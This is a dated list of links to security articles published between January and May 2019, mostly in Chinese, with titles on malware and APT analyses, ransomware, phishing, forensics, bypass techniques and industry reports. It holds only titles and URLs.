- 1.3 [Spyware Disguises as Android Applications on Google Play](https://blog.trendmicro.com/trendlabs-security-intelligence/spyware-disguises-as-android-applications-on-google-play/)
- 1.4 [浅析商业银行数据安全保护体系建设思路](http://blog.nsfocus.net/brief-analysis-on-the-construction-of-data-security-protection-system-in-commercial-banks/)
- 1.4 [FortiAppMonitor:用于监控macOS上的系统活动的强大工具](https://www.freebuf.com/sectool/193258.html)
- 1.4 [全球高级持续性威胁(APT)2018年总结报告](https://mp.weixin.qq.com/s/sSuTHTLfqAGfaBbopU8yEQ)
- 1.5 [2018年IoT那些事儿](https://www.freebuf.com/articles/terminal/193303.html)
- 1.5 [2018年12月勒索病毒疫情分析](https://www.aqniu.com/threat-alert/42433.html)
- 1.7 [看我如何绕过AMSI并执行任意Powershell代码](https://www.freebuf.com/articles/system/191753.html)
- 1.7 [macOS内核提权:利用CVE-2016-1758获取kernel slide(Part1)](https://www.anquanke.com/post/id/169190)
- 1.8 [分析 NRSMiner 恶意软件最新样本](https://www.anquanke.com/post/id/169142)
- 1.8 [乙方视角的安全防御15年](https://www.sec-un.org/%e4%b9%99%e6%96%b9%e8%a7%86%e8%a7%92%e7%9a%84%e5%ae%89%e5%85%a8%e9%98%b2%e5%be%a115%e5%b9%b4/)
- 1.8 [浅谈BeyondCorp(二)-标准化是办公网安全的基石](https://www.secpulse.com/archives/94919.html)
- 1.8 [macOS内核提权:利用CVE-2016-1828本地权限提升(Part2)](https://www.anquanke.com/post/id/169191)
- 1.10 [Android取证:使用ADB和DD对文件系统做镜像](https://www.freebuf.com/articles/terminal/193354.html)
- 1.10 [路由器抓包分析之SMB篇](https://www.freebuf.com/news/193340.html)
- 1.11 [Trustlook Launches Smart Contract Auditing Platform Smart Contract Insight](https://blog.trustlook.com/2019/01/11/trustlook-launches-smart-contract-auditing-platform-smart-contract-insight/)
- 1.11 [海底捞不雅视频事件告破,公共场所WI-FI安全问题严重](https://www.freebuf.com/news/194064.html)
- 1.11 [最新网络钓鱼技术利用伪造字体逃避检测](https://www.aqniu.com/hack-geek/42597.html)
- 1.12 [两个月开上法拉利,薅走的羊毛都去了哪里?](https://www.freebuf.com/news/193807.html)
- 1.14 [一大波含“税”APP来袭,就等你上钩](https://www.freebuf.com/news/193852.html)
- 1.14 [TorPCAP:Tor网络取证分析技术](https://www.freebuf.com/news/193660.html)
- 1.15 [年度挖矿木马研究报告: 2018从“蛰伏”到“鼎盛”](https://www.aqniu.com/threat-alert/42772.html)
- 1.15 [移动平台新型诈骗解析](https://www.anquanke.com/post/id/169654)
- 1.16 [利用分块传输吊打所有WAF](https://www.anquanke.com/post/id/169738)
- 1.16 [疑似DarkHydrus APT组织针对中东地区的定向攻击活动分析](https://www.anquanke.com/post/id/169736)
- 1.16 [Voipo 发生严重的数据泄露事件:价值数十亿美元的客户资料被曝光](http://hackernews.cc/archives/24725)
- 1.17 [iOS取证技巧:在无损的情况下完整导出SQLite数据库](https://www.freebuf.com/news/193684.html)
- 1.17 [一款注入型勒索病毒Ryuk,拉开2019年勒索病毒攻击的序幕](https://www.freebuf.com/articles/terminal/194060.html)
- 1.18 [国内网站内容篡改现状调查](https://www.freebuf.com/articles/neopoints/194000.html)
- 1.19 [2018年Windows服务器挖矿木马总结报告](https://www.freebuf.com/articles/network/194145.html)
- 1.20 [黑灰产一出手就是200多亿,这次遭殃的是拼多多](https://www.freebuf.com/news/194607.html)
- 1.21 [病毒利用安全产品模块 劫持流量、攻击其他安全软件](https://www.secpulse.com/archives/95461.html)
- 1.21 [攻击组织”Cold River”:网络流量与Agent_Drable恶意程序深度分析](https://www.anquanke.com/post/id/169939)
- 1.21 [技术分享 | 多种测试HTTP身份验证的方法](https://www.freebuf.com/news/193649.html)
- 1.21 [U盘钓鱼的实现和防范](https://www.freebuf.com/articles/database/194167.html)
- 1.21 [层层监管下玩出花样,34亿赌资是如何进入赌博幕后人口袋的?](https://www.freebuf.com/articles/database/194219.html)
- 1.21 [拼多多:优惠券Bug属网络诈骗 与此前事件存本质差别](https://tech.sina.com.cn/i/2019-01-21/doc-ihqfskcn9047969.shtml)
- 1.22 [如何绕过EDR的内存保护机制](https://www.anquanke.com/post/id/169971)
- 1.22 [利用Marvell Avastar Wi-Fi中的漏洞远程控制设备:从零知识入门到RCE漏洞挖掘利用(上)](https://www.anquanke.com/post/id/169892)
- 1.22 [病毒利用安全产品模块劫持流量攻击安全软件](https://www.freebuf.com/articles/paper/194511.html)
- 1.22 [知道创宇2018年网络空间安全报告](https://www.freebuf.com/vuls/194201.html)
- 1.22 [QuestMobile《中国移动互联网2018年度大报告》| 36氪首发](http://www.ijiandao.com/2b/baijia/211961.html)
- 1.23 [DDG僵尸挖矿样本v3016技术分析](https://www.anquanke.com/post/id/170021)
- 1.23 [物联网软件专题 | 开源软件源代码安全缺陷分析报告](https://www.freebuf.com/articles/paper/194382.html)
- 1.23 [“KeyPass”勒索病毒变种爆发:伪装Windows更新争取加密时间](https://www.aqniu.com/threat-alert/43078.html)
- 1.23 [疑似MuddyWater最新攻击活动分析](https://www.freebuf.com/articles/paper/194310.html)
- 1.23 [网络安全等级保护之关键活动建设](https://www.freebuf.com/articles/network/194113.html)
- 1.23 [GandCrab 5.1样本详细分析](https://www.anquanke.com/post/id/170149)
- 1.24 [通过ftp爆破和web嵌入iframe来传播的XMR挖矿病毒](https://www.anquanke.com/post/id/170102)
- 1.24 [人工智能在反洗钱领域的应用探索](http://www.ijiandao.com/2b/baijia/213131.html)
- 1.24 [命令注入新玩法:巧借环境攻击目标](https://www.freebuf.com/articles/web/194574.html)
- 1.25 [物联网威胁情报研究](http://blog.nsfocus.net/research-threat-intelligence-iot/)
- 1.28 [盘他! IP团伙攻击行为](https://www.aqniu.com/threat-alert/43350.html)
- 1.31 [鑫哥木马劫持超60家网吧及9所大学的电脑](https://www.freebuf.com/articles/network/195140.html)
- 0x01
- 2.1 [【PPT分享】中国科学院信息工程研究所袁雪敬 :“恶魔音乐”攻击智能语音系统](https://www.inforsec.org/wp/?p=3033)
- 2.2 [【PPT分享】上海交大章玮——HoMonit: 基于无线侧信道的智能家居应用异常检测](https://www.inforsec.org/wp/?p=3045)
- 2.2 [【PPT分享】清华大学刘保君——谁劫持了我的DNS:全球域名解析路径劫持测量与分析](https://www.inforsec.org/wp/?p=3038)
- 2.7 [suricata下的挖矿行为检测](https://www.freebuf.com/articles/network/195171.html)
- 2.8 [Android Users Exposed to Remote Hack via PNG File](https://www.infosecurity-magazine.com/news/android-users-exposed-to-remote/)
- 2.11 [我被人吞了一部手机,调查后发现对方是淘宝打假人](https://www.secpulse.com/archives/96599.html)
- 2.11 [2018年信息安全大事件一览](https://www.freebuf.com/news/195216.html)
- 2.12 [安全专家发出警告:黑客正在测试感染 Mac 的新方法](http://hackernews.cc/archives/24830)
- 2.13 [全流程信息收集方法总结](https://www.freebuf.com/articles/database/195169.html)
- 2.13 [最新黑客USB数据线可让攻击者通过WiFi发动远程攻击](https://www.anquanke.com/post/id/170779)
- 2.14 [同一团伙还是栽赃嫁祸?丨“驱动人生”劫持事件与Mykings家族活动的关联分析](https://www.freebuf.com/articles/system/195337.html)
- 2.14 [某疑似针对中东地区的APT攻击事件分析](https://www.freebuf.com/articles/web/195481.html)
- 2.14 [沙特利用APP监控女性出境,苹果、谷歌被指为帮凶](https://www.freebuf.com/news/195762.html)
- 2.14 [Silence组织使用恶意CHM文档攻击俄罗斯银行](https://www.freebuf.com/articles/network/195373.html)
- 2.14 [Chrome扩展在持久化中的应用](https://www.anquanke.com/post/id/170725)
- 2.14 [MacOS再现隐私漏洞:攻击者可访问Safari浏览历史](https://www.pingwest.com/w/183661)
- 2.15 [坚持不懈:历时一年的Cissp备考之路](https://www.freebuf.com/articles/others-articles/195497.html)
- 2.16 [【社工】惊悚!有人在我家门口放了一枝花,微信问我喜不喜欢?](https://www.secpulse.com/archives/97583.html)
- 2.16 [“暗流II”再次席卷:多玩旗下“游戏盒子”疑遭供应链攻击](https://www.freebuf.com/articles/paper/195669.html)
- 2.18 [智能设备安全分析手册](http://blog.nsfocus.net/handbook-safety-analysis-intelligent-equipment/)
- 2.18 [新恶意软件SpeakUp 可攻击Linux和Mac设备](http://www.ijiandao.com/safe/it/225510.html)
- 2.18 [撕开黑产遮羞布,扼住中国电影发展的岂止一个盗版!](https://www.freebuf.com/articles/database/195711.html)
- 2.19 [滥用ThinkPHP漏洞的僵尸网络Hakai和Yowai](https://www.freebuf.com/articles/terminal/195498.html)
- 2.19 [目标自动驾驶量产,德系三强如何做测试验证?](http://geekcar.com/archives/93630)
- 2.19 [主机的零信任安全实践](http://www.ijiandao.com/safe/cto/225702.html)
- 2.20 [技术讨论 | 三星Galaxy App商店漏洞导致中间人攻击实现远程代码执行](https://www.freebuf.com/articles/terminal/195484.html)
- 2.20 [只需要不到20分钟,报告显示俄罗斯黑客是全球最快的入侵者](https://www.freebuf.com/news/196230.html)
- 2.20 [印度国有天然气公司再次泄露了数百万客户的敏感信息](http://hackernews.cc/archives/24886)
- 2.21 [盗号木马疯狂窃取游戏币,竟还利用搜索引擎打广告?](https://www.anquanke.com/post/id/171415)
- 2.22 [一句话木马的套路](https://www.freebuf.com/articles/web/195304.html)
- 2.22 [大数据安全体系介绍之技术体系篇](https://www.freebuf.com/articles/database/195790.html)
- 2.22 [黑产利用编辑器漏洞植入SEO暗链事件分析](http://blog.nsfocus.net/analysis-malicious-link-events-black-product-embedded-seo/)
- 2.22 [某php开源cms有趣的二次注入](https://www.anquanke.com/post/id/170845)
- 2.23 [逻辑漏洞挖掘初步总结篇](https://www.freebuf.com/articles/web/195837.html)
- 2.23 [全球性的DNS劫持活动:大规模DNS记录操控](https://www.freebuf.com/articles/network/195791.html)
- 2.24 [Justniffer:一款功能强大的TCP数据包嗅探工具](https://www.freebuf.com/sectool/195860.html)
- 2.24 [有个姑娘网恋奔现发现自己被人卖了,跟她见面的是另一个人](https://www.secpulse.com/archives/99232.html)
- 2.25 [对恶意软件Dridex的流量分析](https://www.freebuf.com/articles/es/195832.html) - 2.25 [暴力破解及其流行工具研究](https://www.freebuf.com/sectool/195910.html)
- 2.25 [2018勒索病毒白皮书(政企篇)](https://www.anquanke.com/post/id/171637)
- 2.25 [三个 4G/5G 漏洞曝光:可拦截电话和追踪用户位置](http://hackernews.cc/archives/24933)
- 2.25 [New browser attack lets hackers run bad code even after users leave a web page](https://www.zdnet.com/article/new-browser-attack-lets-hackers-run-bad-code-even-after-users-leave-a-web-page/)
- 2.26 [漏洞分析(三)WinRAR路径穿越漏洞](http://www.gandalf.site/2019/02/winrar.html)
- 2.27 [响尾蛇(SideWinder)APT组织针对南亚国家的攻击活动披露](https://www.freebuf.com/articles/network/196788.html)
- 2.27 [关于Linux下变种DDG挖矿应急处理总结](https://www.secpulse.com/archives/99420.html)
- 2.28 [盲眼鹰(APT-C-36):持续针对哥伦比亚政企机构的攻击活动揭露](https://www.freebuf.com/articles/system/196110.html)
- 2.28 [警惕!WinRAR漏洞利用升级:社工、加密、无文件后门](https://www.anquanke.com/post/id/171967)
- 2.28 [CNNIC报告:中国网民达8.29亿,短视频用户占78%](https://www.pingwest.com/w/184274)
- 2.28 [Chrome中通过打开pdf文件泄露信息0day预警](https://www.anquanke.com/post/id/172035)
- 2.28 [木马分析:分析针对意大利的Ursnif银行木马](https://www.freebuf.com/vuls/195909.html)
- 2.28 [微信PC端技术研究:如何找到消息发送接口](https://www.freebuf.com/geek/196261.html)
- 2.28 [对恶意树莓派设备的取证分析](https://www.freebuf.com/articles/terminal/196085.html)
- 2.28 [百度百科、搜狗百科外链跳转色情网站,过期域名被黑产利用](https://www.freebuf.com/news/197015.html)
- 0x02
- 3.1 [如何使用未Root的Android手机扫描网站漏洞](https://www.freebuf.com/sectool/196167.html)
- 3.1 [朝鲜APT组织Lazarus KEYMARBLE后门分析](https://www.secpulse.com/archives/99324.html)
- 3.1 [恶意邮件智能监测与溯源技术研究](https://www.anquanke.com/post/id/172046)
- 3.1 [Google Chrome 被发现零日漏洞 可让黑客获取用户数据](http://hackernews.cc/archives/24959)
- 3.2 [记一次有趣的密码重置](https://www.freebuf.com/vuls/196382.html)
- 3.3 [PFLD:简单、快速、超高精度人脸特征点检测算法](http://www.ijiandao.com/2b/baijia/228301.html)
- 3.3 [IIS短文件名泄露漏洞](https://www.freebuf.com/news/197148.html)
- 3.4 [Trojan.Miner.gbq挖矿病毒分析报告](https://www.freebuf.com/articles/network/196594.html)
- 3.4 [你可能没见过的流量取证](https://www.freebuf.com/articles/network/196374.html)
- 3.4 [2018年中国手机安全状况报告](https://www.freebuf.com/articles/paper/196664.html)
- 3.4 [威胁预警 | ProtonMiner挖矿蠕虫扩大攻击面加速传播](https://www.freebuf.com/vuls/197202.html)
- 3.4 [kthrotlds挖矿病毒分析报告](https://www.anquanke.com/post/id/172111)
- 3.4 [渗透之权限维持杂谈](https://www.anquanke.com/post/id/171891)
- 3.4 [Comcast buys BluVector, an AI cybersecurity firm](https://www.zdnet.com/article/comcast-buys-bluvector-an-ai-cybersecurity-firm/)
- 3.5 [Analyzing A Massive Office 365 Phishing Campaign](https://bartblaze.blogspot.com/2019/03/analysing-massive-office-365-phishing.html)
- 3.5 [冒用有效签名:Clop勒索病毒这股”韩流“已入侵国内企业](https://www.freebuf.com/articles/terminal/196604.html)
- 3.6 [警惕!WinRAR漏洞利用升级:社工、加密、无文件后门](https://www.freebuf.com/articles/system/196834.html)
- 3.7 [简析认证加授权如何使API更安全](https://www.freebuf.com/articles/web/195044.html)
- 3.7 [“俄罗斯套娃”恶意软件通过海盗湾盗版下载传播](http://hackernews.cc/archives/25013)
- 3.7 [Android移动APP 安全形势分析](https://www.freebuf.com/news/197155.html)
- 3.7 [Android-APP 安全(五)之android取证-文件系统与数据结构](https://www.secpulse.com/archives/100184.html)
- 3.8 [CANalyzat0r :一款可以对专用汽车协议进行安全分析的强大工具](https://www.freebuf.com/sectool/196778.html)
- 3.9 [让数百万台手机训练同一个模型?Google把这套框架开源了](http://www.ijiandao.com/2b/baijia/231512.html)
- 3.10 [“匿影”挖矿病毒:借助公共网盘和图床隐匿自身](https://www.freebuf.com/articles/system/196895.html)
- 3.10 [2018年工业控制网络安全态势白皮书](https://www.freebuf.com/articles/ics-articles/196647.html)
- 3.11 [键盘拦截器制作与测试](https://www.freebuf.com/geek/196409.html)
- 3.11 [2019年唠嗑企业安全之堡垒机(二)](https://www.freebuf.com/articles/es/197394.html)
- 3.11 [为了追查盗照片的人,我在网上叫了个小姐。](https://www.secpulse.com/archives/100660.html)
- 3.11 [活动 | 威胁猎人开源风控系统“星云”,促业务反欺诈基础设施普及](https://www.anquanke.com/post/id/172996)
- 3.12 [微软 Word 中的新漏洞允许攻击者绕过所有防恶意软件防御](http://hackernews.cc/archives/25040)
- 3.12 [安全与信任的半毛钱关系](https://www.sec-un.org/%e5%ae%89%e5%85%a8%e4%b8%8e%e4%bf%a1%e4%bb%bb%e7%9a%84%e5%8d%8a%e6%af%9b%e9%92%b1%e5%85%b3%e7%b3%bb/)
- 3.12 [Ghidra:这个来自NSA的软件逆向工程工具终于来啦!](https://www.freebuf.com/sectool/197922.html)
- 3.12 [软件供应链安全威胁:从“奥创纪元”到“无限战争”](https://www.freebuf.com/articles/network/197574.html)
- 3.12 [威胁在外,压力在内 | CISO职场生存现状](https://www.freebuf.com/articles/neopoints/197271.html)
- 3.14 [CheckPoint:Android 恶意广告软件 SimBad 被下载近 1.5 亿次](http://hackernews.cc/archives/25054)
- 3.15 [窃听Telegram Bot的恶意软件](https://www.freebuf.com/articles/network/197124.html)
- 3.15 [SimBad: A Rogue Adware Campaign On Google Play - Check Point Research](https://research.checkpoint.com/simbad-a-rogue-adware-campaign-on-google-play/)
- 3.15 [3·15曝光台 | Wi-Fi 探针——潜伏在你身边的“信息窃贼”](https://www.freebuf.com/news/198385.html)
- 3.15 [Fibratus:一款功能强大的Windows内核漏洞利用和跟踪工具](https://www.freebuf.com/sectool/197709.html)
- 3.16 [基于Web页面验证码机制漏洞的检测](https://www.freebuf.com/vuls/197632.html)
- 3.17 [BankThief:针对波兰和捷克的新型银行钓鱼攻击](https://www.freebuf.com/articles/paper/197523.html)
- 3.18 [EOS假充值(hard_fail 状态攻击)红色预警细节披露与修复方案](https://www.freebuf.com/vuls/198213.html)
- 3.18 [瑞星首家发现Hybrid Analysis网站数据被“驱动人生木马”污染](https://www.freebuf.com/news/197653.html)
- 3.18 [浅谈RASP技术攻防之基础篇](https://www.freebuf.com/articles/web/197823.html)
- 3.18 [物联网安全体系思考与探讨](http://www.ijiandao.com/2b/baijia/237024.html)
- 3.18 [Python 爬取蔡徐坤的 10 万转发数据,竟是假流量?](http://www.ijiandao.com/2b/baijia/236811.html)
- 3.19 [抖音刷赞骗局](http://www.ijiandao.com/2b/baijia/237790.html)
- 3.19 [Mirai 出现了新的变种](https://www.solidot.org/story?sid=59953)
- 3.19 [Kthrotlds挖矿病毒详细分析报告](https://www.freebuf.com/articles/system/197136.html)
- 3.19 [从零开始聊一聊态势感知](https://www.freebuf.com/articles/es/197268.html)
- 3.20 [Buhtrap新动向:针对俄罗斯、白俄罗斯金融机构的攻击活动](https://www.freebuf.com/articles/network/198688.html)
- 3.20 [IoT-Implant-Toolkit:一款针对IoT设备的木马测试工具](https://www.freebuf.com/sectool/198174.html)
- 3.20 [AFL漏洞挖掘技术漫谈(二):Fuzz结果分析和代码覆盖率](https://www.freebuf.com/articles/system/197678.html)
- 3.20 [个人蜜罐Cowrie的运营分析](https://www.freebuf.com/articles/network/197714.html)
- 3.20 [态势感知从入坑到重生](https://www.sec-un.org/%e6%80%81%e5%8a%bf%e6%84%9f%e7%9f%a5%e4%bb%8e%e5%85%a5%e5%9d%91%e5%88%b0%e9%87%8d%e7%94%9f/)
- 3.21 [小师妹聊安全标准](https://www.freebuf.com/articles/es/197825.html)
- 3.21 [Android-APP 安全(六)之android取证](https://www.secpulse.com/archives/101931.html)
- 3.21 [基于主动防御能力,安全成熟度模型的一点点思考](https://www.sec-un.org/%e5%9f%ba%e4%ba%8e%e4%b8%bb%e5%8a%a8%e9%98%b2%e5%be%a1%e8%83%bd%e5%8a%9b%ef%bc%8c%e5%ae%89%e5%85%a8%e6%88%90%e7%86%9f%e5%ba%a6%e6%a8%a1%e5%9e%8b%e7%9a%84%e4%b8%80%e7%82%b9%e7%82%b9%e6%80%9d%e8%80%83/)
- 3.22 [Sality感染蠕虫复活来袭,传播“剪切板幽灵”病毒窃取比特币](https://www.freebuf.com/articles/system/198651.html)
- 3.23 [传奇私服暗藏杀机,亡灵病毒肆虐江湖](https://www.freebuf.com/articles/system/198869.html)
- 3.23 [VRVNAC软件携带恶意程序,公安等行业可能受影响](https://www.freebuf.com/articles/paper/198032.html)
- 3.25 [那些年挖过的SRC之我是捡漏王](https://www.freebuf.com/vuls/198327.html)
- 3.25 [黑产大数据:短视频及直播行业的暗流涌动](https://www.freebuf.com/news/198966.html)
- 3.25 [KBuster:以伪造韩国银行APP的韩国黑产活动披露](https://www.anquanke.com/post/id/174026)
- 3.26 [APT组织的聚类和攻击者活动关联](https://www.anquanke.com/post/id/175302)
- 3.27 [Hackers Hijacked ASUS Software Updates to Install Backdoors on Thousands of Computers](https://motherboard.vice.com/en_us/article/pan9wn/hackers-hijacked-asus-software-updates-to-install-backdoors-on-thousands-of-computers)
- 3.27 [UC浏览器(国际版)被爆中间人攻击漏洞,官方回应已修复、国内版本不受影响](https://www.freebuf.com/news/199358.html)
- 3.27 [木马作者主动提交Tatoo远控后门程序](https://www.anquanke.com/post/id/175513)
- 3.28 [微软申诉并成功控制涉及伊朗黑客攻击活动的域名](http://hackernews.cc/archives/25165)
- 3.29 [腾讯科恩实验室: 特斯拉Autopilot的实验性安全研究](http://keenlab.tencent.com/2019/03/29/Tencent-Keen-Security-Lab-Experimental-Security-Research-of-Tesla-Autopilot/)
- 0x03
- 4.1 [卡巴斯基2018年金融行业网络威胁报告](https://www.freebuf.com/articles/paper/199093.html)
- 4.2 [学习手册:窥探Web前端黑客技术](http://blog.nsfocus.net/spying-web-front-end-hacking-techniques/)
- 4.2 [“铝”巨人遭勒索病毒攻击,工业互联时代如何保障网络安全](http://blog.nsfocus.net/how-to-guarantee-network-security-in-the-age-of-industrial-interconnecti/)
- 4.3 [KBuster:以伪造韩国银行APP的韩国黑产活动披露](https://www.freebuf.com/articles/terminal/199175.html)
- 4.3 [伊拉克电信公司遭到MuddyWater组织定向攻击](https://www.freebuf.com/articles/network/199008.html)
- 4.3 [换瓶不换酒,盗号木马还在钻搜索引擎广告的空子](https://www.anquanke.com/post/id/175954)
- 4.4 [Xiaomi Vulnerability: When Security Is Not What it Seems](http://blog.checkpoint.com/2019/04/04/xiaomi-vulnerability-when-security-is-not-what-it-seems/)
- 4.5 [友讯路由器 DNS 流量遭黑客劫持](https://www.solidot.org/story?sid=60138)
- 4.5 [Chashell:基于DNS的反向Shell](https://www.freebuf.com/sectool/199406.html)
- 4.5 [2018全球网络安全图鉴](https://www.freebuf.com/articles/network/199133.html)
- 4.6 [如何使用SQLMap脚本绕过Web应用防火墙](https://www.freebuf.com/sectool/198403.html)
- 4.6 [“商贸信”病毒装成商品图片,双击就被安装商业间谍软件](https://www.freebuf.com/articles/network/199906.html)
- 4.7 [奇思妙想之用JS给图片加口令](https://www.freebuf.com/articles/web/199559.html)
- 4.7 [4月7日每日安全热点 - 湖北一公职人员泄露公民信息5万余条](https://www.anquanke.com/post/id/176043)
- 4.8 [CISO的闪电战——2年甲方安全的自我修炼](https://www.anquanke.com/post/id/176075)
- 4.8 [谁劫持了我的DNS:全球域名解析路径劫持测量与分析](https://www.inforsec.org/wp/?p=3161)
- 4.8 [GandCrab5.2勒索病毒伪装国家机关发送钓鱼邮件进行攻击](https://www.freebuf.com/articles/system/200070.html)
- 4.9 [苹果企业证书再爆丑闻 间谍软件窃取用户隐私信息](http://hackernews.cc/archives/25210)
- 4.10 [“银行提款机”变种病毒分析报告](https://www.freebuf.com/articles/paper/200284.html)
- 4.10 [火眼推出 Windows 免费渗透测试套件,包含140多款工具](https://www.freebuf.com/sectool/200524.html)
- 4.10 [流行开发工具 bootstrap-sass 被修改植入后门](https://www.solidot.org/story?sid=60184)
- 4.15 [FuzzScanner:信息搜集开源小工具](https://www.freebuf.com/sectool/200344.html)
- 4.15 [使用HTML注入进行信息泄露](https://www.anquanke.com/post/id/176565)
- 4.15 [数据分析与可视化:谁是安全圈的吃鸡第一人](https://www.freebuf.com/articles/web/199925.html)
- 4.16 [黑客 Gnosticplayers 兜售第五批数据:总涉44家企业近10亿用户记录](http://hackernews.cc/archives/25259)
- 4.16 [登录注册攻与防](https://www.secpulse.com/archives/104091.html)
- 4.17 [浅析基于人格特征的内部高风险用户识别方法](https://www.freebuf.com/articles/network/200564.html)
- 4.18 [CNCERT发布《2018年我国互联网网络安全态势报告》](https://www.freebuf.com/articles/network/201280.html)
- 4.18 [一些知名中國 app 因涉嫌大規模廣告詐騙而被 Google 下架](https://chinese.engadget.com/2019/04/18/google-pulls-android-apps-ad-fraud/)
- 4.19 [门罗币挖矿&远控木马样本分析](https://www.freebuf.com/articles/system/200875.html)
- 4.19 [新型Anatova恶意软件分析](https://www.freebuf.com/articles/database/199895.html)
- 4.19 [国家安全机关公布境外网络攻击窃密案件](https://www.anquanke.com/post/id/176944)
- 4.22 [DNS劫持欺骗病毒“自杀”](https://www.freebuf.com/articles/system/201032.html)
- 4.22 [Bilibili 源代码泄漏](https://www.solidot.org/story?sid=60351)
- 4.22 [APT34攻击全本分析](http://www.ijiandao.com/2b/baijia/245780.html)
- 4.19 [黑客在 Telegram 上出售伊朗间谍部队 APT34 的黑客工具源代码](http://hackernews.cc/archives/25286)
- 4.19 [黑客泄露APT 34组织工具、成员信息,扬言更多秘密将持续曝光](https://www.freebuf.com/news/201501.html)
- 4.23 [Targeted Attacks hit multiple embassies with Trojanized TeamViewer](https://securityaffairs.co/wordpress/84367/hacking/trojanized-teamviewer-hit-embassies.html)
- 4.23 [起底童星培训骗局:千亿级的“黑金”产业链,到底有多赚?](http://www.ijiandao.com/2b/baijia/246470.html)
- 4.23 [Adware Plagues Google Play Store | Avast](https://blog.avast.com/adware-plagues-google-play)
- 4.24 [恶意SDK无感刷百度广告,数千款APP植入影响千万用户](https://www.freebuf.com/articles/terminal/201714.html)
- 4.24 [“天鼠”系列盗号木马分析报告](https://www.anquanke.com/post/id/177066)
- 4.24 [真假文件夹?FakeFolder病毒再次捣乱企业内网](https://www.secpulse.com/archives/104540.html)
- 4.25 [赛门铁克2019年互联网安全威胁报告:数据篇](https://www.freebuf.com/news/201265.html)
- 4.25 [新型赌博黑产攻击肆虐网吧:LOL博彩引流&棋牌盗号](https://www.freebuf.com/articles/system/201459.html)
- 4.25 [从源码层面看一款精致的病毒软件应具备哪些特质](https://www.freebuf.com/articles/system/200923.html)
- 4.25 [正则表达式所引发的DoS攻击(Redos)](https://www.anquanke.com/post/id/177100)
- 4.25 [外国骗子装成中国黑客造假0day骗钱删号走人](https://www.anquanke.com/post/id/177212)
- 4.25 [卡巴斯基:除华硕外至少还有6家公司受到“影锤”行动攻击](http://hackernews.cc/archives/25333)
- 4.26 [威胁情报在态势感知系统中的一种落地尝试](https://www.freebuf.com/articles/security-management/200882.html)
- 4.26 [海莲花APT组织2019年第一季度针对中国的攻击活动技术揭秘](https://www.freebuf.com/articles/network/201940.html)
- 4.27 [IoT-Home-Guard:一款可检测物联网设备中恶意行为的工具](https://www.freebuf.com/articles/terminal/198163.html)
- 4.28 [APT34泄密武器分析报告](https://www.freebuf.com/articles/database/202303.html)
- 4.28 [因广告欺诈及滥用权限,百度子公司数十款应用被Google Play封杀](https://www.freebuf.com/news/202248.html)
- 4.28 [号称“十分在意用户隐私”的恶意软件罗宾汉是个啥?](https://www.freebuf.com/news/201080.html)
- 4.29 [2019年Q1 Android Native病毒疫情报告](https://www.anquanke.com/post/id/177478)
- 4.30 [浅析某针对乌克兰国防和经济部门的大规模钓鱼事件](https://www.freebuf.com/articles/network/201788.html)
- 4.30 [AWS安全笔记|扯淡与权限](https://www.secpulse.com/archives/105062.html)
- 4.30 [The inception bar:一种新型网络钓鱼手段](https://www.anquanke.com/post/id/177488)
- 4.30 [DDoS攻击新趋势:海量移动设备成为新一代肉鸡](https://www.secpulse.com/archives/105045.html)
- 4.30 [防代码泄漏的监控系统架构与实践](https://www.freebuf.com/articles/es/201845.html)
- 0x04
- 5.2 [新型蠕虫病毒攻击服务器,政企电脑变矿机](https://www.freebuf.com/articles/database/201525.html)
- 5.3 [DDoS反射放大攻击全球探测分析](https://www.freebuf.com/articles/database/201804.html)
- 5.5 [聊聊安全测试中如何快速搞定Webshell](https://www.freebuf.com/articles/web/201421.html)
- 5.5 [ISPsystem漏洞分析](https://www.anquanke.com/post/id/177599)
- 5.5 [基于排序的SQL猜解问题](https://www.anquanke.com/post/id/177572)
- 5.5 [“盗梦空间栏”,Chrome 移动版上的新型网络钓鱼](http://hackernews.cc/archives/25369)
- 5.6 [管中窥豹 | 长亭科技《季度漏洞观察报告》2019 Q1](https://www.anquanke.com/post/id/177627)
- 5.6 [黑客集团内部是如何运作的?它们也有CEO和项目经理](http://hackernews.cc/archives/25385)
- 5.7 [深入浅出略谈威胁情报](https://www.secpulse.com/archives/105379.html)
- 5.7 [代理蜜罐的开发与应用实战](https://www.freebuf.com/articles/network/202310.html)
- 5.7 [全国移动APP安全性研究报告:约70%的APP都存在安全漏洞](https://www.freebuf.com/articles/paper/202843.html)
- 5.10 [DDoS黑吃黑:流氓软件“钱蜜”的悲催](https://www.freebuf.com/articles/system/202785.html)
- 5.11 [Anubis Android银行木马技术分析及新近活动总结](https://www.freebuf.com/articles/terminal/202787.html)
- 5.11 [揭秘使用Confluence未授权RCE漏洞在6小时内渗透50+公司](https://www.freebuf.com/articles/web/202492.html)
- 5.11 [新的DDoS攻击手法来袭:TCP反射攻击技术分析](https://www.freebuf.com/articles/database/202401.html)
- 5.13 [Qbot银行木马分析](https://www.secpulse.com/archives/105677.html)
- 5.13 [互联网黑产:职业羊毛党如何月赚几十万?](http://www.ijiandao.com/2b/baijia/259766.html)
- 5.14 [WhatsApp 曝出漏洞 导致以色列间谍软件入侵手机](http://hackernews.cc/archives/25508)
- 5.13 [逆向分析“海莲花” APT木马的花指令反混淆工具](https://www.freebuf.com/articles/neopoints/202056.html)
- 5.13 [2018年网站攻击态势及“攻击团伙”挖掘分析报告](https://www.anquanke.com/post/id/178158)
- 5.14 [Attackers Exploit WhatsApp Flaw to Auto-Install Spyware](https://www.bankinfosecurity.com/attackers-exploit-whatsapp-flaw-to-auto-install-spyware-a-12480)
- 5.14 [工控安全从入门到实战——概述(一)](https://www.anquanke.com/post/id/178265)
- 5.14 [Web指纹识别技术研究与优化实现](https://www.anquanke.com/post/id/178230)
- 5.14 [W12Scan:一款功能强大的网络安全资产扫描引擎](https://www.freebuf.com/sectool/202375.html)
- 5.15 [响尾蛇APT组织针对巴基斯坦的定向攻击事件分析](https://www.freebuf.com/articles/paper/203059.html)
- 5.15 [威胁情报,突出重围的引航者](https://www.sec-un.org/%e5%a8%81%e8%83%81%e6%83%85%e6%8a%a5%ef%bc%8c%e7%aa%81%e5%87%ba%e9%87%8d%e5%9b%b4%e7%9a%84%e5%bc%95%e8%88%aa%e8%80%85/)
- 5.15 [工控安全从入门到实战——概述(二)](https://www.anquanke.com/post/id/178425)
- 5.16 [黑灰产的廉价“温床”—— APP生成框架](https://www.anquanke.com/post/id/178540)
- 5.16 [PPPoE中间人拦截以及校园网突破漫谈](https://www.anquanke.com/post/id/178484)
- 5.16 [浏览器安全学习笔记(一)](https://www.freebuf.com/vuls/202413.html)
